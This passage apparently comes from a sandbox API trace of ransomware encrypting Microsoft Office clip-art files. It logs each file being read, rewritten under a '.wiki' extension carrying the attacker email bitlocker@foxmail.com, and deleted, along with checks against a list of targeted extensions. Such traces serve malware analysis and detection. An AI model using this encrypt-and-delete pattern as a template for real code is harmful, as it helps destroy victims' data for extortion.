office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.193] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.193] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.194] GetLastError () returned 0x0 [0199.194] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x5de2, lpOverlapped=0x0) returned 1 [0199.196] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x5df0, lpOverlapped=0x0) returned 1 [0199.324] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.324] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.324] SetEndOfFile (hFile=0x200) returned 1 [0199.332] CloseHandle (hObject=0x200) returned 1 [0199.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.332] SetEndOfFile (hFile=0x1f0) returned 1 [0199.361] CloseHandle (hObject=0x1f0) returned 1 [0199.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.361] lstrlenW (lpString=".doc") returned 4 [0199.361] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.361] lstrlenW (lpString=".docx") returned 5 [0199.361] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0199.362] lstrlenW (lpString=".pdf") returned 4 [0199.362] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.362] lstrlenW (lpString=".xls") returned 4 [0199.362] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.362] lstrlenW (lpString=".xlsx") returned 5 [0199.362] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0199.362] lstrlenW (lpString=".ppt") returned 4 [0199.362] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString=".zip") returned 4 [0199.362] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.362] lstrlenW (lpString=".rar") returned 4 [0199.362] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.362] lstrlenW (lpString=".bz2") returned 4 [0199.362] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.362] lstrlenW (lpString=".7z") returned 3 [0199.362] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString=".dbf") returned 4 [0199.362] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString=".1cd") returned 4 [0199.362] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString=".jpg") returned 4 [0199.362] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.362] lstrlenW (lpString=".doc") returned 4 [0199.362] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.362] lstrlenW (lpString=".docx") returned 5 [0199.363] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0199.363] lstrlenW (lpString=".pdf") returned 4 [0199.363] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.363] lstrlenW (lpString=".xls") returned 4 [0199.363] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.363] lstrlenW (lpString=".xlsx") returned 5 [0199.363] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0199.363] lstrlenW (lpString=".ppt") returned 4 [0199.363] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.363] lstrlenW (lpString=".zip") returned 4 [0199.363] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.363] lstrlenW (lpString=".rar") returned 4 [0199.363] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.363] lstrlenW (lpString=".bz2") returned 4 [0199.363] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.363] lstrlenW (lpString=".7z") returned 3 [0199.363] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.363] lstrlenW (lpString=".dbf") returned 4 [0199.363] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.363] lstrlenW (lpString=".1cd") returned 4 [0199.363] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0199.363] lstrlenW (lpString=".jpg") returned 4 [0199.363] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.364] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.364] lstrlenW (lpString="J0183174.WMF") returned 12 [0199.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.364] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=28626) returned 1 [0199.364] CloseHandle (hObject=0x1f0) returned 1 [0199.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 0x20 [0199.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.365] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.365] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.365] GetLastError () returned 0x0 [0199.365] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6fd2, lpOverlapped=0x0) returned 1 [0199.405] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6fe0, lpOverlapped=0x0) returned 1 [0199.406] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.406] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.406] SetEndOfFile (hFile=0x200) returned 1 [0199.407] CloseHandle (hObject=0x200) returned 1 [0199.407] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.407] SetEndOfFile (hFile=0x1f0) returned 1 [0199.408] CloseHandle (hObject=0x1f0) returned 1 [0199.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0199.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.408] lstrlenW (lpString=".doc") returned 4 [0199.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.408] lstrlenW (lpString=".docx") returned 5 [0199.408] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.409] lstrlenW (lpString=".pdf") returned 4 [0199.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.409] lstrlenW (lpString=".xls") returned 4 [0199.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.410] lstrlenW (lpString=".xlsx") returned 5 [0199.410] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.410] lstrlenW (lpString=".ppt") returned 4 [0199.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString=".zip") returned 4 [0199.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.411] lstrlenW (lpString=".rar") returned 4 [0199.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString=".bz2") returned 4 [0199.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString=".7z") returned 3 [0199.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString=".dbf") returned 4 [0199.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString=".1cd") returned 4 [0199.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString=".jpg") returned 4 [0199.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.411] lstrlenW (lpString=".doc") returned 4 [0199.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString=".docx") returned 5 [0199.411] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.411] lstrlenW (lpString=".pdf") returned 4 [0199.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.411] lstrlenW (lpString=".xls") returned 4 [0199.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.411] lstrlenW (lpString=".xlsx") returned 5 [0199.412] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.412] lstrlenW (lpString=".ppt") returned 4 [0199.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.412] lstrlenW (lpString=".zip") returned 4 [0199.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.412] lstrlenW (lpString=".rar") returned 4 [0199.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.412] lstrlenW (lpString=".bz2") returned 4 [0199.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.412] lstrlenW (lpString=".7z") returned 3 [0199.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.412] lstrlenW (lpString=".dbf") returned 4 [0199.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.412] lstrlenW (lpString=".1cd") returned 4 [0199.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF") returned 63 [0199.412] lstrlenW (lpString=".jpg") returned 4 [0199.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.412] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.412] lstrlenW (lpString="J0183574.WMF") returned 12 [0199.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.413] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=19274) returned 1 [0199.413] CloseHandle (hObject=0x1f0) returned 1 [0199.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 0x20 [0199.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.413] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.413] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.414] GetLastError () returned 0x0 [0199.414] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x4b4a, lpOverlapped=0x0) returned 1 [0199.432] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x4b50, lpOverlapped=0x0) returned 1 [0199.434] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.434] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.434] SetEndOfFile (hFile=0x200) returned 1 [0199.434] CloseHandle (hObject=0x200) returned 1 [0199.434] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.434] SetEndOfFile (hFile=0x1f0) returned 1 [0199.435] CloseHandle (hObject=0x1f0) returned 1 [0199.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 1 [0199.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString=".doc") returned 4 [0199.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString=".docx") returned 5 [0199.436] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.436] lstrlenW (lpString=".pdf") returned 4 [0199.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString=".xls") returned 4 [0199.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.436] lstrlenW (lpString=".xlsx") returned 5 [0199.436] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.436] lstrlenW (lpString=".ppt") returned 4 [0199.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString=".zip") returned 4 [0199.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.436] lstrlenW (lpString=".rar") returned 4 [0199.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString=".bz2") returned 4 [0199.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString=".7z") returned 3 [0199.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString=".dbf") returned 4 [0199.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString=".1cd") returned 4 [0199.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.436] lstrlenW (lpString=".jpg") returned 4 [0199.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.437] lstrlenW (lpString=".doc") returned 4 [0199.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString=".docx") returned 5 [0199.437] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.437] lstrlenW (lpString=".pdf") returned 4 [0199.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString=".xls") returned 4 [0199.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.437] lstrlenW (lpString=".xlsx") returned 5 [0199.437] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.437] lstrlenW (lpString=".ppt") returned 4 [0199.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.437] lstrlenW (lpString=".zip") returned 4 [0199.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.437] lstrlenW (lpString=".rar") returned 4 [0199.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString=".bz2") returned 4 [0199.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString=".7z") returned 3 [0199.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.437] lstrlenW (lpString=".dbf") returned 4 [0199.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.438] lstrlenW (lpString=".1cd") returned 4 [0199.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned 63 [0199.438] lstrlenW (lpString=".jpg") returned 4 [0199.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.438] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.438] lstrlenW (lpString="J0185776.WMF") returned 12 [0199.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.438] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27096) returned 1 [0199.438] CloseHandle (hObject=0x1f0) returned 1 [0199.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 0x20 [0199.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.439] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.439] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.id-9c354b42.[bitlocker@foxmail.com 